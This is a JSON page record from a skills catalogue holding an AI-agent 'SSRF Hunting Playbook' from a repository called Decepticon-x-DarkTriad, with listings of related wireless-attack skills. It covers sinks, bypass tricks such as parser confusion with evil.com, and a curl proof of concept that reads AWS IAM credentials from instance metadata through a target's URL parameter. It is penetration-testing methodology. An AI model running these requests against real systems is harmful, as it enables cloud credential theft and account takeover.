[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M797TY5XG4X3M9DSRGPNCNAR":3,"skill-same:01M797TY5XG4X3M9DSRGPNCNAR":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":27,"commitSha":28,"skillDirectory":29,"forksCount":30,"repositoryHtmlUrl":31,"repositoryHomepageUrl":6,"ownerHtmlUrl":32,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":33,"install":34,"resources":47},"01M797TY5XG4X3M9DSRGPNCNAR","ssrf",null,"Hunt Server-Side Request Forgery (CWE-918) through taint analysis from user-controlled URLs to HTTP client sinks. Covers cloud metadata pivoting, DNS rebinding, gopher smuggling, and the IMDSv1 → IAM role chain that turns SSRF into RCE.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Fssrf\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: ssrf\ndescription: Hunt Server-Side Request Forgery (CWE-918) through taint analysis from user-controlled URLs to HTTP client sinks. Covers cloud metadata pivoting, DNS rebinding, gopher smuggling, and the IMDSv1 → IAM role chain that turns SSRF into RCE.\nmetadata:\n  subdomain: web-exploitation\n  when_to_use: \"ssrf server side request forgery cwe-918 taint url http client cloud metadata imds dns rebinding gopher smuggling iam role\"\n---\n\n# SSRF Hunting Playbook\n\nSSRF is one of the highest-yield vuln classes for 0-day work because\n(a) it's often medium severity in isolation but chains to critical when\nit reaches cloud metadata, internal admin panels, or unprotected\nRedis\u002FElasticsearch, and (b) modern frameworks have dozens of bypass\nclasses that scanners miss.\n\n## 1. Sources (user-controlled input that becomes a URL)\n\nLook for any parameter that gets fed into an HTTP client:\n\n- Python: `requests.get(user_url)`, `httpx.get`, `urllib.request.urlopen`, `aiohttp.get`\n- Node:   `fetch(userUrl)`, `axios.get`, `http.request`, `got`, `node-fetch`\n- Java:   `HttpURLConnection`, `HttpClient.send`, `URL.openConnection`, `OkHttpClient`\n- Go:     `http.Get(u)`, `http.NewRequest`, `net.Dial(\"tcp\", u)`\n- Ruby:   `Net::HTTP.get`, `URI.open`, `Faraday.get`\n- PHP:    `file_get_contents($url)`, `curl_exec`, `fsockopen`\n\nGrep patterns to run via bash:\n\n```bash\nsemgrep --config p\u002Fssrf \u002Fworkspace\u002Fsrc --sarif -o \u002Fworkspace\u002Fsem-ssrf.sarif\ngrep -rE 'requests\\.get\\(|httpx\\.|urllib.*urlopen|fetch\\(|axios\\.|http\\.Get\\(|URL\\(' \u002Fworkspace\u002Fsrc\n```\n\n## 2. Sinks that make SSRF worth reporting\n\n| Sink                                  | Impact                                  |\n|---------------------------------------|-----------------------------------------|\n| `http:\u002F\u002F169.254.169.254\u002F` (AWS IMDS)  | IAM role creds → full AWS takeover      |\n| `http:\u002F\u002Fmetadata.google.internal\u002F`    | GCP service-account token               |\n| `http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fv1\u002F` | Azure IMDS                              |\n| `http:\u002F\u002F127.0.0.1:6379\u002F` (Redis)      | Unauthenticated RCE via Lua eval \u002F cron |\n| `http:\u002F\u002F127.0.0.1:9200\u002F`              | Elasticsearch data leak + RCE           |\n| `http:\u002F\u002F127.0.0.1:2375\u002F`              | Docker daemon — container escape        |\n| `gopher:\u002F\u002F`, `dict:\u002F\u002F`, `file:\u002F\u002F`     | Protocol smuggling (SMTP, memcached)    |\n| Internal `*.svc.cluster.local`        | Kubernetes service mesh lateral         |\n\n## 3. Bypass classes (why scanners miss real bugs)\n\n1. **DNS rebinding**  — resolve to public first, then 127.0.0.1 on second\n   lookup. Look for caches that don't pin IP across the fetch.\n2. **IPv6 literal**   — `[::1]`, `[::ffff:127.0.0.1]`, `[::]`\n3. **Decimal \u002F octal \u002F hex encoding** — `0x7f.0.0.1`, `0177.0.0.1`, `2130706433`\n4. **URL parser confusion** — `http:\u002F\u002Fevil.com@169.254.169.254\u002F`,\n   `http:\u002F\u002F169.254.169.254#.evil.com\u002F`\n5. **IDN unicode tricks** — homoglyph domains that normalize to metadata hosts\n6. **Redirect chains** — allowlist checks the initial URL, not the 302 target\n7. **IMDSv2 required** — but if the HTTP client sets a Metadata-Token header\n   on redirect, v2 still leaks\n8. **30x → file:\u002F\u002F** — server follows redirects across protocols\n\n## 4. Taint audit workflow\n\n1. Enumerate sources with grep + semgrep (above).\n2. For each hit, follow the data flow manually:\n   - Is there a `urlparse` check? Does it check `.hostname` (spoofable)\n     or the raw URL (safe)?\n   - Is there an IP allowlist check *before or after* DNS resolution?\n     (Only before-resolution checks are TOCTOU-safe.)\n   - Is redirect following disabled? `allow_redirects=False` in requests.\n3. Each confirmed source-to-sink path → `kg_add_node(kind=\"vulnerability\", ...)`.\n4. Link the vuln to its file+line via a code_location node.\n\n## 5. PoC template\n\n```bash\n# AWS IMDSv1 leak — copy to clipboard after confirmation\ncurl -s \"https:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\"\n# → expect role name\ncurl -s \"https:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\u003Crole>\"\n# → expect {AccessKeyId, SecretAccessKey, Token}\n```\n\nSuccess patterns for `validate_finding`:\n\n- `AccessKeyId`\n- `SecretAccessKey`\n- `Token.*[A-Za-z0-9+\u002F]{100,}`\n\nNegative control:\n\n- Same request with the URL param blanked or set to `https:\u002F\u002Fexample.com\u002F`\n- Negative patterns: `Missing url`, `400`, `example.com`\n\n## 6. Default CVSS for confirmed SSRF\n\n| Variant                                | CVSS vector                                          | Score |\n|----------------------------------------|------------------------------------------------------|-------|\n| Blind SSRF, external only              | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N                  | 5.3   |\n| SSRF → internal services (no pivot)    | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N                  | 7.5   |\n| SSRF → cloud metadata → IAM credential | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H                  | 10.0  |\n\n## 7. Chain promotion\n\nOnce validated, add an `enables` edge from the SSRF vuln to the adjacent\nIAM credential \u002F Redis host \u002F admin panel node. Weight 0.3 for trivial\nIMDS chains, 0.6 for bypass-required variants. Then\n`plan_attack_chains(promote=True)` to persist the complete chain.\n","# SSRF Hunting Playbook\n\nSSRF is one of the highest-yield vuln classes for 0-day work because\n(a) it's often medium severity in isolation but chains to critical when\nit reaches cloud metadata, internal admin panels, or unprotected\nRedis\u002FElasticsearch, and (b) modern frameworks have dozens of bypass\nclasses that scanners miss.\n\n## 1. Sources (user-controlled input that becomes a URL)\n\nLook for any parameter that gets fed into an HTTP client:\n\n- Python: `requests.get(user_url)`, `httpx.get`, `urllib.request.urlopen`, `aiohttp.get`\n- Node:   `fetch(userUrl)`, `axios.get`, `http.request`, `got`, `node-fetch`\n- Java:   `HttpURLConnection`, `HttpClient.send`, `URL.openConnection`, `OkHttpClient`\n- Go:     `http.Get(u)`, `http.NewRequest`, `net.Dial(\"tcp\", u)`\n- Ruby:   `Net::HTTP.get`, `URI.open`, `Faraday.get`\n- PHP:    `file_get_contents($url)`, `curl_exec`, `fsockopen`\n\nGrep patterns to run via bash:\n\n```bash\nsemgrep --config p\u002Fssrf \u002Fworkspace\u002Fsrc --sarif -o \u002Fworkspace\u002Fsem-ssrf.sarif\ngrep -rE 'requests\\.get\\(|httpx\\.|urllib.*urlopen|fetch\\(|axios\\.|http\\.Get\\(|URL\\(' \u002Fworkspace\u002Fsrc\n```\n\n## 2. Sinks that make SSRF worth reporting\n\n| Sink                                  | Impact                                  |\n|---------------------------------------|-----------------------------------------|\n| `http:\u002F\u002F169.254.169.254\u002F` (AWS IMDS)  | IAM role creds → full AWS takeover      |\n| `http:\u002F\u002Fmetadata.google.internal\u002F`    | GCP service-account token               |\n| `http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fv1\u002F` | Azure IMDS                              |\n| `http:\u002F\u002F127.0.0.1:6379\u002F` (Redis)      | Unauthenticated RCE via Lua eval \u002F cron |\n| `http:\u002F\u002F127.0.0.1:9200\u002F`              | Elasticsearch data leak + RCE           |\n| `http:\u002F\u002F127.0.0.1:2375\u002F`              | Docker daemon — container escape        |\n| `gopher:\u002F\u002F`, `dict:\u002F\u002F`, `file:\u002F\u002F`     | Protocol smuggling (SMTP, memcached)    |\n| Internal `*.svc.cluster.local`        | Kubernetes service mesh lateral         |\n\n## 3. Bypass classes (why scanners miss real bugs)\n\n1. **DNS rebinding**  — resolve to public first, then 127.0.0.1 on second\n   lookup. Look for caches that don't pin IP across the fetch.\n2. **IPv6 literal**   — `[::1]`, `[::ffff:127.0.0.1]`, `[::]`\n3. **Decimal \u002F octal \u002F hex encoding** — `0x7f.0.0.1`, `0177.0.0.1`, `2130706433`\n4. **URL parser confusion** — `http:\u002F\u002Fevil.com@169.254.169.254\u002F`,\n   `http:\u002F\u002F169.254.169.254#.evil.com\u002F`\n5. **IDN unicode tricks** — homoglyph domains that normalize to metadata hosts\n6. **Redirect chains** — allowlist checks the initial URL, not the 302 target\n7. **IMDSv2 required** — but if the HTTP client sets a Metadata-Token header\n   on redirect, v2 still leaks\n8. **30x → file:\u002F\u002F** — server follows redirects across protocols\n\n## 4. Taint audit workflow\n\n1. Enumerate sources with grep + semgrep (above).\n2. For each hit, follow the data flow manually:\n   - Is there a `urlparse` check? Does it check `.hostname` (spoofable)\n     or the raw URL (safe)?\n   - Is there an IP allowlist check *before or after* DNS resolution?\n     (Only before-resolution checks are TOCTOU-safe.)\n   - Is redirect following disabled? `allow_redirects=False` in requests.\n3. Each confirmed source-to-sink path → `kg_add_node(kind=\"vulnerability\", ...)`.\n4. Link the vuln to its file+line via a code_location node.\n\n## 5. PoC template\n\n```bash\n# AWS IMDSv1 leak — copy to clipboard after confirmation\ncurl -s \"https:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\"\n# → expect role name\ncurl -s \"https:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\u003Crole>\"\n# → expect {AccessKeyId, SecretAccessKey, Token}\n```\n\nSuccess patterns for `validate_finding`:\n\n- `AccessKeyId`\n- `SecretAccessKey`\n- `Token.*[A-Za-z0-9+\u002F]{100,}`\n\nNegative control:\n\n- Same request with the URL param blanked or set to `https:\u002F\u002Fexample.com\u002F`\n- Negative patterns: `Missing url`, `400`, `example.com`\n\n## 6. Default CVSS for confirmed SSRF\n\n| Variant                                | CVSS vector                                          | Score |\n|----------------------------------------|------------------------------------------------------|-------|\n| Blind SSRF, external only              | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N                  | 5.3   |\n| SSRF → internal services (no pivot)    | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N                  | 7.5   |\n| SSRF → cloud metadata → IAM credential | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H                  | 10.0  |\n\n## 7. Chain promotion\n\nOnce validated, add an `enables` edge from the SSRF vuln to the adjacent\nIAM credential \u002F Redis host \u002F admin panel node. Weight 0.3 for trivial\nIMDS chains, 0.6 for bypass-required variants. Then\n`plan_attack_chains(promote=True)` to persist the complete chain.\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26},"web-exploitation","ssrf server side request forgery cwe-918 taint url http client cloud metadata imds dns rebinding gopher smuggling iam role","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Fssrf",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill ssrf",{"tool":40,"command":41},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill ssrf",{"tool":43,"command":44},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill ssrf","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Fssrf\u002FSKILL.md",true,[],[49,56,63,70,77,84],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":57,"name":58,"nameZh":6,"description":59,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":60,"categories":61,"keywords":62,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]